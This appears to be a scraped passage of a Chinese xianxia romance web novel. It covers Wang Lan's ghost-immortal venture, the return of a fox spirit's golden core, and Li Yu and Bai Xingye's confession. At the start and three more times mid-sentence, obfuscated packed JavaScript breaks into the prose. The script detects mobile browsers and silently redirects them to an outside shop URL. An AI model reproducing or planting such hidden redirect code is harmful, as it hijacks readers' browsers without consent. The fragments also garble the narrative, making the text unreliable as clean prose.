l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213371|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有收入,总不能全靠往年微薄的积蓄度日,况且整日关在家里也实在难受。如今他可是鬼仙了,可看见人的吉凶祸福,还可医治鬼病,若他能以此赚钱,那家里人不就有钱用了? 思虑几日后,他找到同村的好友,也是他的邻居张三。张三起先也如他妻子那样被吓了一大跳,听王兰诉说了自己的经历和如今的能耐后,张三除了惊奇甚至还生出些羡慕之情。 王兰见他意动,加以利诱,“我若在人前出现,恐怕会吓到他人。张兄你家与我家一般贫困,天天靠着几亩薄田,干点杂活,也只能堪堪过活。何不与我合作?我上你身,让你扮作高人去找那些富贵人家给他们看相断事、捉鬼驱邪,哪怕只做几桩生意也够咱们两家吃上多少年了!” 张三一想是这个理呀,他朋友如今有这样的境遇那是大造化,还能想到和他一起以此赚取钱财,这岂不是件大好事! 于是,他立刻收拾行装,就要出门做生意。家中妻子父母难以理解他的行为,却又拦不住。在张三一再保证定能赚到钱财回来后,老父母和妻子从没见过他如此信心十足的模样,将信将疑地放他走了。 如今王兰是鬼仙,一路上就是夜宿山林中也不怕猛兽妖怪,遇到城镇两人便四处打听当地谁家中闹鬼或有怪病。一人一鬼走走停停,虽然受了些许白眼,但还真让他们找到了一个大财主家有怪事!财主家的女儿生了怪病,忽然从某天开始长睡不醒,无论是当地的还是附近的名医,甚至江湖术士都看过了,没一点效果。现在那财主直接放话,若能就治好他的女儿,愿意出一千两白银酬谢! 王张二人一听,这就对了,这一听不是被狐狸迷惑就是被鬼缠上的,正是王兰可以解决的。 王兰附在张三的身上,一同上了财主家门。张三一路风尘仆仆,身上本也没钱置办行头,那财主看了他本是不太信任,只是实在没法子了,抱着死马当做活马医的心态,还是让张三试试先。 张三则装模作样地给财主家小姐请脉,因为隔着帘子张三也看不清那小姐如今是何状态,只知道床上睡了个人。可王兰不一样,他可看得一清二楚,这位小姐如今躺在床上双目紧闭,已经是出气多进气少,一眼望去面色苍白得跟个死人一样。 王兰俯到张三耳边说:“这可不好,这位小姐是离魂之症,如今只剩一口气吊着,我得立刻去将她的魂找回来才救得了她。此处还需张兄应付片刻,我去去就来。”他一说完就飘然离去。 张三硬着头皮装出高深状,不时点点头,一副尽在掌握的样子。在财主焦急的目光下,半晌才道:“如今令嫒的情况十分凶险,但也有办法挽救。” 那财主收起先前的轻蔑,忙恭敬地问:“先生有何法子?要服什么药?无论多贵的药,我立刻遣人去买!” “无需服药,令嫒这是离魂之症。”张三又卖了会儿关子才道,“我已上达仙人,仙人已经去找小姐的魂,只需静待片刻即可。” 财主闻言不敢尽信,更不敢不信,只能立刻叫人奉茶到外间和张三一起等候。 又过了一个时辰,不止是财主,张三都已经等得心焦如火。还好这时王兰回来了,他又俯到张三耳边道:“小姐的魂已经找回来了。” 说完就附到张三身上,站起身对一旁焦急的财主说:“令嫒如今已然回魂,大老爷可去一看。” 52.王兰(二) 那财主惊疑不定,这个人坐了半天什么都没做,就在一旁喝茶吃点心,这就能把人治好?也来不及细想,便去了爱女房里,一进里屋就听伺候的丫鬟惊喜地喊道:“小姐醒了!” 财主定睛一瞧女儿果然已经醒来,看起来还有些懵懂地伸了个懒腰,像是刚睡醒一样。财主大喜忙问女儿有什么不适,那小姐却除了有些饿并未有不适,可她却不急着要吃食,而是向父亲说起了她方才遇到的怪事。 原来在这位小姐眼中,她不过只是去院子里面玩了一会儿。在院中遇到了一个少年,少年非要拉着她一起玩弹弓,她觉得害羞就拒绝了。可那少年竟是不依不饶,还将她捉到马上去,就这般打马带她往山里走。她好歹也是财主家娇生惯养长大的大小姐,岂能受此大辱?一路上又哭又闹、叫骂不停,直到那少年恼怒不已,一把将她推下了马扬长而去。 可她却在山里迷了路,明明沿着来时的路走的,可怎么也看不到家的影子。如此走了许久,忽然被一只手拉住,拉着她就往家跑,一晃神,她就在床上了。那小姐根本不知道自己差点没命,只觉得这梦好生奇怪,还真实得吓人,叫人分不清是真实发生的还是被梦魇住了。 财主听完后立刻对张三肃然起敬,难道这人真能请来神仙,将自己女儿的魂魄带回来了?其实不止他惊讶,在外听着的张三更是惊讶,也对王兰更加佩服。 接下来,财主果然奉上了千两白银以表感谢,更是好好招待了一番张三,留他在家多住些时日。 有这样的好事张三自然应下,等他吃饱喝足独自回房后,才和王兰商议这一千两银子如何处理,银子多当然好,可这么多的银子却不好带在身上。 王兰道:“我们留下二百两带在身上做路费,剩下的银子,我连夜赶回去将钱交给我娘子,让她明日再带三百两到你家去。你便留在此处等我,快的话我天亮就能回来。” 张三已经被白花花的银两迷花了眼,他只是跟随出行,家里人就能得三百两白银,这买卖可太好做了!对于王兰的提议,自然他说什么就是什么。开开心心地送走王兰,自己便在财主家的大宅院里,享尽自己从未见识过的奢华待遇。 王兰如今是鬼仙,走出几百里地再回头,也不过五六个时辰就能到家,此时家中妻子已经睡了,王兰轻声将王氏叫醒。 王氏有些惊讶,先安抚住了差点被吵醒的孩子,才跟王兰一起走到堂屋,她问:“你不过才出去几日这么快就回来了?” 王兰一笑,手往桌面上一挥,桌子上立刻出现一个钱箱,里面白花花亮闪闪的都是银两。 王氏又惊又喜,拿出一块银子咬了咬,“这、这是哪儿来的?” 于是,王兰便将他和张三给财主女儿治离魂症的事说来。王氏听后,知道这银钱来路正,也就更放心了些。 夫妻俩又说了会儿话,王兰吩咐了她如何和张家分配银两,便道自己还要赶着回去和张三汇合,就不久留了。 “你先等等。”王氏却拦住了他,忧心忡忡道,“小宝跟我说前两日有两个年轻男子来找你,那俩人看起来都是富贵人家子弟,小宝说穿的很气派。那两人用糖葫芦哄他说出了你的去向,不知道他们想做什么。” 王兰闻言一惊,他实在想不起自己认识什么富贵人家的子弟,还是在他死后才来找他。只能嘱咐妻子小心一些,也让张家的人都管好嘴,这才离家而去。 路上,王兰思考着方才妻子所言,实在理不出头绪。不过,又想到妻子开心的模样,也有些喜不自胜,生前一辈子平庸,死后竟赚上大钱了,怎么不算是因祸得福呢? 可他还没走出多远,忽然察觉有一丝危险的气息靠近。王兰停了下来,向四下张望,漆黑又寂静的夜里,周遭看似没有什么不对,只林间不时传来几声虫鸣鸟叫。 是错觉吗?他刚准备再走,一阵劲风从后方猛地袭来,王兰立刻回头,这一转头迎头赶上一道金光,直将他击落在地。王兰晕头转向根本不知发生了什么,还没来得及起身,就被一个人捏着脖子拎了起来。他侧头一看,居然是个容貌异常俊朗的年轻男子! “你是谁?你要做什么?!” 白行野面无表情地看了他一眼,并未理会。他身后传来窸窸窣窣的声音,李钰就从林中钻了出来。他从白行野的身后探出头,看到了王兰,看起来就是非常普通的男人,一点也看不出他想象中的鬼仙的气质。 李钰有些失望,歪头问白行野:“这就好啦?” “他虽夺了胡四相公的金丹晋升鬼仙,但也只是多些预知感应,没有实在修行过,连法力都不会运用,其实和普通的鬼差别也不大,只是能长留于世,避免轮回之苦罢了。”白行野不屑道。 听到对方甚至比他自己了解得还多,王兰哪里还会不知事情已然败露?他战战兢兢道:“你你你们……是那狐狸的人?” “哗”的一声,李钰展开折扇,扇面轻摇,昂首挺胸,一副为朋友撑腰的模样,“对呀,我们就是胡四相公的朋友!今日是来为他讨回公道,要回金丹的!若是识相,就乖乖将他的金丹吐出来。” 作为鬼王兰本就面色苍白,一听这话更是惨白如纸,他哆嗦着说:“二位大人有大量,就放过我吧!我如今已经不能转世轮回了,若是交出金丹我就只能做个孤魂野鬼,等时间一长就会魂飞魄散的……” 王兰说着说着忍不住哭了起来,将自己如何被勾错魂的事告知二人,“如今我的尸身早都烂了,现下又选了做鬼仙,也没有投胎机会了。还请二位高抬贵手,放我一条生路吧。” 二人见这男人哭得好不狼狈,白行野嫌弃地松开了手,但目光仍紧盯着他,并无放过之意。王兰在吞下金丹之前确实是无妄之灾,可他图谋了他人的金丹,便就犯了大错。 白行野冷声道:“你可知那狐狸修炼五百年,要付出多少的精力和心血?你夺他金丹如取其性命!你之前被勾错魂固然可怜,但有错的是鬼差,你却让素不相识的狐妖为此付出代价,难道他就不无辜吗?” 王兰止住哭泣,深深叹了口气,“是,我是对不起他,可我当时也是没有办法,我也只是不想这么不明不白的就死去啊。” “你不想死自去找害你的鬼差,偏要连累别人干什么?”白行野见他嘴上道歉却并无反省之意,懒得跟他废话,便威胁道,“你要自己将金丹吐出来还是我来取?” 王兰自知不敌眼前之人,见再无商量的余地,只能先将金丹吐出,他张开嘴一粒闪着红光的丹丸从他口中飞出。白行野将红丸收入手中,不再多话,直接将王兰收进乾坤袋里。 李钰好奇地将金丹拿过来观摩,小小一粒红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215712|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丸并不像仙侠剧中演的那样金光闪闪,而是从内透出了红光,四周萦绕着肉眼可见的灵气分外诱人。李钰小心翼翼地将金丹交给白行野保管,道:“走吧,去物归原主。” 话落,白行野变出龙形,带着李钰直奔翠竹林而去,此时应当已有小狐狸回去报喜了。 果然,两人来到翠竹林,众多狐狸们都聚集在荒宅,个个面上带着兴奋和喜悦。小翠第一个迎了上来,“我就知道找你们帮忙没错!多谢二位相助了!” 李钰也高兴地笑道:“进去吧,快去见胡四相公。” 正说着,胡四相公已经亲自来到院中了,神情激动。白行野不废话,直接拿出金丹,金丹的红光更盛,自动飞回至主人那儿。胡四相公看着失而复得的宝贝,已经热泪盈眶,他连忙吞下金丹,就地打坐调息了片刻。 须臾后,只见白狐站起身,他的周身散发着浅淡的银白光华,于众人瞩目下化出了人身,竟是一个眉目如画、风度翩翩的美少年。李钰为之惊艳,他还以为都叫他胡四相公,会是个中年人形象呢,果然狐妖个个都是美貌非凡。 白行野微微侧目,似笑非笑地瞧了李钰一眼,李钰忙收回惊艳目光,心中暗骂白行野小气。 胡四相公对着二人深深鞠了一躬,“多谢二位相助,未曾想居然真能找回金丹。此再造之恩无以为报,我这些年搜罗来的金银财宝,愿倾囊相赠,以报一二。” “不用,帮你也算我一桩功德,无需多谢。”白行野想也没想地回绝。 李钰无奈于他话语中的直接,不过也婉拒道:“胡四相公不必多礼,小翠和你的姐妹们帮过我们许多,朋友间的互帮互助而已,无需礼物相赠。” 胡四相公先是一怔,接着爽朗一笑,“二位也是性情中人,既如此就当我欠你们一个人情,若来日有需要我胡四之时,我定随叫随到!” 小翠也跟着说:“我也是,以后有什么要我帮忙的尽管开口!”其他小狐狸们也忙不迭应声,一时间荒宅中热闹个不停。 此情景颇为滑稽,李钰和白行野相视一笑。 胡四相公恢复了法力,抬手一挥,荒宅霎时如挥毫泼墨般改头换面,变成一处雕梁画栋的华丽豪宅,内间更是灯火通明。胡四相公伸手请道:“至少让我请二位痛饮一番,以示感谢。” 李钰二人欣然应允,只当庆贺胡四相公失而复得,和众狐们好好热闹了一番,喝得李钰满脸绯红、头重脚轻才作罢。等他再醒来的时候,他已经躺在自家床上了,外面又是日上三竿。 他洗漱一番后去找白行野才知道,昨天晚上他和胡四相公还谈了点正事,是关于怎么处理王兰的。 胡四相公自然深恨夺走自己金丹之人,但白行野将王兰的遭遇告知,且说明了他们家里的情况。没想到胡四相公沉默片刻,最终决定放过王兰,随他去。竟是比大多数人还要通情达理,李钰不禁感慨其大度。 “那这王兰还在乾坤袋里吗?”李钰问。 白行野点点头,眉头微蹙,似也有些纠结,“如果他不是身体已经腐烂,是可以还阳的,只是现如今他已经是孤魂野鬼,过个数十年便会消弭于人间。” 李钰明白他的为难,王兰虽有错处,到底是无辜遭难,后又有鬼差诱导才误入歧途,并不算真正的大奸大恶之人,确实有些难办。 53.喜事 李钰思索片刻道:“归根结底是鬼差失误所致,他勾错了魂,又拖了太久时间,害王兰阳寿未尽却被迫为鬼。后续又想出让王兰夺金丹做鬼仙的法子,或许本意就不想让王兰再回地府,让他的上级以为此事已经办妥,免得他承担责罚。毕竟就算是带王兰去投胎来弥补,少不得也要疏通关系才能让他提前投胎,不至于王兰回地府后再闹事。不如就让王兰去状告那鬼差,本就是地府差役失误所致,应当能重新给王兰争取一个转世轮回的机会。” “可以一试。”白行野将李钰的提议想了想赞许道,他将王兰放了出来,“我们刚刚说的你可听到了?” 事以至此,王兰哪里还有其他选择?但想到他的妻子孩子终究还是有些放不下,毕竟他当初放弃投胎也是为这份亲缘,于是讷讷不敢言。 李钰仿佛看穿他的担忧,“你便去和你的妻儿好好告个别,你此次出去赚来的钱,我看已经够你们一家好好生活很长时间了。对了,你那钱哪来的?” 王兰不敢隐瞒,将自己和张三替财主小姐找魂一事和盘托出。 白行野听了点点头,“很好,夺取他人金丹之事你确实做错了,可成了鬼仙未曾为恶,而是靠救人性命赚取钱财接济家里,也算正途。如今你家里有钱了,你也该放心去地府了。” 王兰苦着脸,心中更是恨极了那鬼差,若不是因为他,他怎么会沦落到这个地步?此时已无他法,只能道:“那就请两位放我去与妻儿告别,我再去地府状告那名鬼差!” 李钰立刻准备跟着去,白行野却道:“你昨晚喝太多了,就在家里好好休息吧。我看着他,之后再同他一起去趟地府。” 李钰乐得自在,便答应了下来。 另一边,王氏和儿子正在吃饭,昨晚才见过面的丈夫竟去而复返。许是夫妻之间的默契,王氏立刻感到一丝不安,儿子小宝倒是很开心,跑过来就要让父亲抱。 王兰一把抱起儿子,逗了孩子一会儿,才极为不舍地向妻子说起正事。 王氏听完来龙去脉,一下跌坐在凳子上,她叹气道:“其实当日你说夺丹化鬼仙一事,我心里就一直不安,没想到这一日来得这么早。可你去告那鬼差,地下的大官们会管吗?不会为难你吗?” 看到妻子担心难过的模样,王兰反而生出些男子汉的气概,安慰她说:“当日是我鬼迷心窍,一心想强留于世,那鬼差更宁愿帮我去抢夺狐妖的金丹,都不想让我跟着他一起回地府,想必是不愿意对自己的过错负责。恐怕此事在地府法度之内定算是较大的过错,或许我还有机会。” 王氏含泪抬眸,“此话当真?” 一切只是猜测,王兰并不清楚,但此刻他只想安抚好妻子,又道:“或许这就是命数,如果没有做鬼仙这一出,我恐怕这辈子都挣不回这么多的银钱,只能让你和孩子跟着我过苦日子。如今,至少是能换来你们下半辈子安稳,我也就没算白活一世。若是以后你遇到好人家也可改嫁,不必再为我忧心,只是你们怀揣这么多钱财,定不要太过炫耀,引来有心之人……” 他絮絮叨叨地交代了许多,王氏一边抹泪一边耐心地听着,等王兰说完,一家三口终是抱头痛哭一场,不得不面对离别了。 隐匿在一旁的白行野一直没有现身打断,直到王兰自己出了家门,才现身领他去的地府。 王兰恋恋不舍地频频回头,视线中自家的小院越来越小,直至看不清了。 “你放心,以后我和阿钰会经常照看她们母子,不会让人欺负了她们的。”白行野表情冷淡,说话的语气却沉稳得让人安心。 王兰怔住,看向这不知身份的高人,本来是让他畏惧的人,此时却给了他一颗定心丸。他点了点头,回望过去的一生,虽无成就,却始终与人为善。怎么自己死后竟做出那样的事?突逢骤变虽是不幸,却因一己私欲差点毁了那无辜的狐狸五百年的道行,仅仅三十多年的普通人的生活都让他割舍不下,何况是狐妖历经五百年才修炼出来的金丹了,那是实实在在的日夜修行凝结出的金丹啊。 此时的王兰,真正地感到了羞愧。 李钰正在家和詹贵儿下五子棋打发时间,等到白行野回来,他立刻起身去问情况。 白行野此去费了不少时间,李钰殷勤地给他倒了一杯茶,白行野喝了一口才说:“没事了,我将王兰带到了阎罗王殿下那里告了那鬼差一状,果然是那鬼差不愿为此事负责才诱导他去做鬼仙,如今已受到了惩治,王兰也可重入轮回了。” 李钰松了一口气,“那就好,没想到此事解决起来这么顺利。” “那是自然,我特意将他带到了阎罗王处告状,这一位最是公正,不讲那些个官僚情面的,无论是谁犯的错误都不会徇私。”白行野忽然想起了什么,“他以前在人间好像就是做官的,生前就素有铁面无私的青天之名。” 李钰心下微动,“谁呀?” “他以前的名字好像叫……包拯。” “难怪。”李钰恍然大悟,阎罗王殿下居然是包青天,王兰这事确实不用再操心了。 而远在几百里以外的张三苦等王兰不至,只能带着银子回家,那财主又送了他许多礼物,给他雇了辆驴车送他回乡。 端午临中夏,艾香千家绕的时节终于迎来了院试放榜。 席方平、鄂秋隼皆入榜,丁再昌更是不负众望地名列前茅。三人如今都是秀才老爷了,拥有了可以正式参加科举考试的资格。 席家老爷席廉格外高兴,大摆宴席庆祝。因为鄂秋隼父亲早逝,丁再昌家人又在外地,席家父子盛情邀请二人同来接受庆贺。老爷子和席方平一样,都是仗义爽快之人,不由分说直接上门接人,实在盛情难却,二人心里也十分感激。 白行野不喜欢过于热闹的场合,让李钰帮忙带话私下再聚。李钰便独自前往席家,来恭喜他们三位。 推杯换盏间,李钰说了许多好听的话,乐得席廉老爷子直夸他嘴甜。李钰好不容易才坐下吃点东西,又跟丁再昌咬耳朵,“师弟你也太给我长脸了,居然取中第四名,简直就是文曲星下凡了!亏得我这几个月根本都不敢来找你玩,就怕影响你。” 丁再昌失笑道,“你就别笑话我了,又不是案首,再说人外有人,算不得什么。” 席方平一听就要闹了,说:“你这还不算什么?那我们不是更不济了。” 丁再昌闹了个大红脸,忙拱手道:“我不是这个意思,是小弟失言。” 鄂秋隼也喝高了,平日里拘谨害羞的模样早就不见了,在一旁笑道:“自知失言,还不满饮一杯赔罪!” 知道他们在玩笑,但是今日开心,丁再昌还是干脆地举杯一饮而尽,又说了几句好话,两人才罢休。 李钰看热闹看得高兴,好久没有和朋友们见面,自然也放开了喝酒畅谈,仿佛又回到了之前常常聚会的日子,实在是心情舒畅。 席廉走到他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221685|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这桌,跟小辈说了些赞赏和鼓励的话,又道:“往后你们几个也还要认真读书,到时候科举考试可也是千军万马过独木桥,不可懈怠呀。” 三人都恭恭敬敬地道是。 李钰笑看几人,忽然在人群中看到了一个熟悉的人,是叶先生。 他已经很久没有见过叶先生了,虽知道叶先生已经不生他的气,但他还是没好意思去找过先生。此时,叶先生也看过来,两人正好对上视线,李钰正不知所措之时,叶先生却对他露出一个和善的笑容。李钰一怔,嘴角也上扬了起来。 两人默契地走到一旁,李钰先规规矩矩地行了一礼道:“先生,好久不见。” 叶先生倒是更自然,“是久未见你,好像又长高了些。” “是吗?”李钰嘿嘿一笑,心里放松许多。 叶先生又道:“我让李老爷让你来私塾读书,你怎么不来?平日也不来向我请教了。” 李钰支支吾吾道:“我的志向不在读书,只想好好经营家业,而且也怕打扰到先生。” “你明明在读书上很有天赋,为何就不愿……罢了罢了,人各有志。”叶先生摇摇头,看起来颇为可惜,可能还是不太能理解李钰的选择。 他又温和地说:“如何会怕打扰到我?我如今投身教学,教出你师弟这样的好学生,自己也从中收获了许多,如今想来,还是你当日提点得好。” 李钰红着脸,忙道:“哪里算得上提点?先生折煞我了。” “哈哈哈……”叶先生见他窘迫的模样大笑出声。李钰看着他如今的样子,丝毫不见此前心灰意冷没有生气儿的模样,心里也感到安慰。 叶先生道:“如今你还愿意认我这个先生,我已深感欣慰,既然来了,你也过来陪我喝两杯。” 李钰自然无有不应,先生如今这样竟多出许多豪迈豁达,比起之前更让李钰觉得亲近。 丁再昌在另一边桌上看着他们,也笑得一脸欣慰。李钰注意到了,没想到还让师弟担心他们师生,实在是不该,今后还要多去看望看望叶先生。对了,也带上詹贵儿,想必他也想先生。 宴会结束,他们几个年轻人都已经喝高了,李钰走路已经有点摇晃,但脑子还算清醒。他和丁再昌三人又约好过两日再聚,这才由小厮阿福扶着他往回走。 刚出席家,他就看到一个熟悉的人影正向他走来。 那人丰神俊朗宛如神仙下凡,见到他从席家出来,他眉头一皱,快步朝李钰走了过来。 “行野……”李钰仰着头,冲白行野傻笑。 白行野将他从阿福手上接过,扶着李钰问:“你还好吗?怎么醉得这么厉害?” “我就是……高兴!我师弟可考了第四名,席兄和秋隼也都是秀才老爷了!”李钰磕磕巴巴地述说着开心,“还有先生,先生他不生我气了,还让我常去看他呢!” 白行野任他大着舌头说完,带着自己都没意识到宠溺语气说:“好,你高兴就好,我带你回去。”说完冲阿福使了个眼色,让他先走。 阿福会意,先行离开了。 哪想到李钰眼珠一转,却站着不走了。 白行野点了点他的额头,“又在闹什么?” 李钰两手一伸,理直气壮道:“你背我回去!”他往四周看了看,又凑近白行野耳语道,“你还没有用人身背过我呢?” 湿热的气息喷在白行野的耳廓,霎时就熏红了他的耳朵。 54.心意 李钰笑意更深了,他将双手张开,星眸中闪烁着期待的目光,哪有人会舍得拒绝他?白行野抬手揉了揉他的头,转过身半蹲了下来,李钰随即跳了上去,把自己全身的重量都交给对方。白行野将他轻松背起,特意挑人少的小路慢慢往回走。 一路上,李钰在他耳边哼哼唧唧,倒也不像是不舒服的声音,而是酒意上头不自觉地就想弄出点动静。湿湿热热的气息不时在白行野的耳后撩拨,他耳朵发热,有些不自在,但又舍不得让李钰将脑袋移开,只能一路强忍着。可李钰还不老实,双臂环在白行野的肩上,手还在他胸前摸来摸去。 白行野无奈道:“手能不能老实点?” “哦。”李钰轻哼一声,手上终于摸到了他想要的东西,是白行野脖子上的一根红绳,他将红绳扯了出来,上面果然坠着鲤鱼玉佩。他的手指摩挲着玉佩上面的纹路,因为是白行野贴身戴着的,还留有暖意,让他更是心猿意马起来。 他咯咯傻笑了一会儿,轻声问:“行野,你是不是喜欢我啊?” 白行野脚步一顿,停在路旁的柳树下,晚风轻轻吹拂,柳条扫过二人的发顶,砰砰直跳的心上也像被什么柔软的东西轻轻拂过,麻酥酥的。 在白行野之前的人生中只有修炼二字,他以为自己早已经修得不食人间烟火,情爱一事更是不屑一顾。 直到师父劝他入世历练,遇到了李钰。 不过短短一年相处时光,竟让他无法割舍,还甘之如饴,白行野心中难得的百转千回起来。 “行野,你怎么不走了?”李钰出言问道,像是已经忘了自己刚刚问出了什么话。 白行野将他往自己背上抬了抬,像是认输一般轻叹一声,道:“是啊,我是喜欢你。” 话落,他背着心上人重新迈步。 过了半晌,背上那人才有了动静,李钰将已经变得微凉的玉佩塞回白行野的胸口,指尖划过白行野的喉结,然后迅速移开了。 又犹豫了一会儿,李钰才开口道:“我就知道。” 说话的语气里憋着笑,李钰将脸埋在白行野的肩头,贴着白行野身体的脸颊烧得滚烫。 他并没有顺势表明心迹,两人却都心照不宣。 此后一路无话,白行野走得很慢,他希望这条路可以更长一点,让他走得更久一点。 等回到李家,木若菱训了李钰一顿,说他一点都不心疼白行野,怎么能让好贤侄背着回来。 头昏脑胀的李钰没有回话,反倒是白行野在旁边帮他说话,木若菱才没继续责备。她端来早就备好的醒酒汤,正要喂李钰,白行野接了过去,对木若菱说:“伯母你去休息吧,太晚了。” 木若菱赞赏地看向白行野,又用手指头点了点李钰的脑袋,自己回正院了。 白行野端着碗要喂李钰,只见李钰偷偷觑了他一眼,自己将碗接了过来,大口喝着醒酒汤,颇有些做贼心虚的样子。 “我以为你还不清醒呢。”白行野笑他。 李钰几乎要将脸埋进碗里了,其实在路上他就醒了不少了,如今只还有些头晕。可仗着酒壮怂人胆,自己追问着让白行野表露了心思,如今面对他,却有些不知所措了。 他喝完醒酒汤,往床上一趟就嚷嚷着自己要睡觉了,实则一直留意着白行野的动静。 白行野到床边坐下,“你不洗澡?明天就被腌入味了。” “你别管。”李钰面有绯色,依旧嘴硬,“等你走了我再去洗不行啊?” 不知道他在闹什么别扭,白行野只能说:“不洗也行,免得受寒。”说完他念了一个短促的口诀,又往李钰身上一点。 就这么一瞬间,李钰顿觉浑身舒爽,他翻身起来一闻,酒味也没了,身体和衣服都跟刚清洗过一样,惊奇道:“这又是什么法术?” “不过是最基础的洁净术,不过我一般不用,小事上都用这种术法,人也就懒惰了。”白行野道。 “还有些道理。”李钰又躺了下去,“那现在没事了,你还不回去睡觉?” 白行野却道:“你天天赖在我房间不走,扰我修行,我今天也不走。” 李钰一惊,双目圆瞪地看向白行野。 那惊讶的表情令白行野哭笑不得,“你想哪去了?” 他伸手去牵李钰的手,低声问道,“就今天,我不想走可以吗?” 白行野垂眸看着他,眼中的温柔眷恋都要溢出来了。他大部分时候都表情淡淡的,此时骤然露出这种带了点恳求的表情,谁能受得了?反正李钰受不了。 李钰只觉得晕晕乎乎,酒还没完全醒似的,又思及白行野刚刚才跟自己表白,自己就这么赶人家,显得跟渣男一样。既然小银龙自己要投怀送抱,那他有何不能笑纳的? 他在心里用各种理由说服自己,终于是点了点头,让白行野上榻,两人合衣而眠。 李钰扭身侧躺,拿背冲着白行野,可身后那人的目光如有实质般,在自己后背爬行,感觉整个人已经被白行野的气息包裹,也不知道是谁的呼吸声都在夜里被无限放大。 他心脏狂跳不止,怎可能还有睡意? 这时,白行野忽然动了,他凑近李钰身后,李钰更是紧张地绷紧了身体。 一只手落在他脸上,覆盖住他的双眼。李钰眼睫颤动,扫过白行野的掌心。 身后的人轻声道:“阿钰乖,睡吧。” 他的低声耳语带着笑意,李钰霎时感觉整个人都放松了下来,眼皮也变得沉重,不知不觉竟真睡了过去。 翌日,李钰是被窗外的鸟叫吵醒的,他不耐地就着枕头蹭了蹭,忽然感觉触感不对!猛一睁眼,他哪里还睡在枕头上?而是枕在白行野结实的手臂上!整个人更是被抱在白行野的怀里的! 他立刻要起身,这才发现自己的手竟也抱着白行野的腰,说实话,这精壮有力的手感真是不赖。 “醒了?”白行野的声音从头顶上方传来,李钰呆愣一瞬,才低低“嗯”了一声。 白行野轻笑了一声,抬起那只被李钰枕着的手臂,摸了摸李钰的脑袋,他低头轻轻地在李钰的发间落下一个吻。 天知道李钰此时心中泛起波涛有多么汹涌?几乎将他淹没!两个人虽时常牵个小手,几次遇险白行野也将他搂来抱去的,他都习惯了。可这是第一次……这么的亲密,带来的效果,简直超乎了李钰以往的认知。 他猛然坐起身,看白行野姿态悠然地躺在他的床上,脸上更是红得发烫,三下五除二地跨过白行野的身体下了床。 “我先去洗漱了!” 白行野支起一边身体,侧身在床上就这么直直看着他。李钰被盯得浑身不自在,又说着些无关紧要的话,“天都大亮了,你不起床?” “倒是第一次见你起床如此积极。”白行野笑道。 李钰轻哼一声,抬脚就出了门,关上门才长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225802|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒一口气,抬手摸了摸刚被亲过的地方,忍不住嘴角上扬。等收回手,这才想起看看周围是否有人…… 房内,白行野在脑海中反复品味李钰刚刚的反应,实在忍俊不禁。复又躺回床上,他闭上眼,口中还轻轻念叨着,“阿钰……” 在互通心意后,人前两人还是那样相处,私下里却更腻歪了。李钰根本没有想到以前是他老忍不住去白行野房里粘着对方,现在则是整个儿反过来了。白行野像是放下了一切顾虑,时时都要和李钰一起。尤其是到了每天晚上,不管李钰赶不赶白行野走,第二天早上醒来,自己都是躺在白行野怀里的,就跟那守宝的龙一样,算了,他本来就是龙。 其他人倒是没发现什么异样,只有詹贵儿看出了端倪。小孩虽然不清楚到底是怎么回事儿,但也不敢再晚上突然出现在李钰房间了,看他们两个的眼神也总是怪怪的。 李钰也不想跟个小孩解释那么多,没人提就当什么都没发生过。渐渐也就习惯了这样的日子,自己养的小龙,宠着呗。 又逢聚会,白行野随李钰同行,这次是特意私下为丁再昌、席方平、鄂秋隼三人考中秀才庆贺的。 可那三人这几日本来就兴致难歇,又太久没有见到白行野,人来疯似的挨个儿要给白道长敬酒,连最是内向斯文的鄂秋隼也不放过他。白行野这些天心情大好,自是来者不拒,反倒把另外几人喝趴下,几轮下来,还得了“千杯不醉”的称号。 他们这几人跟现代高考完的学生一样,狠狠疯了一段时间才回归正常生活,为往后正式参加科举做起准备来。 朋友们如此努力上进,李钰也不甘落后,又开始读书、经营两不误。上午起来看看书,他现在读起这个时代的书已经没有任何障碍了,下午就常往铺子上跑。 这日,李钰难得来到胭脂铺,这间铺子平时是他娘在管,他来此主要还是想看看婴宁如今适应得如何了。 一进香风扑鼻的铺子,只见婴宁正笑着教一名娘子怎么画时兴的眉形。婴宁的声音又软又甜,笑起来更是可爱可亲,任谁看了都心生好感,那娘子不仅买了铜黛,香露和脂粉也带走不少。 李钰心中暗道:微笑服务,诚不欺我。 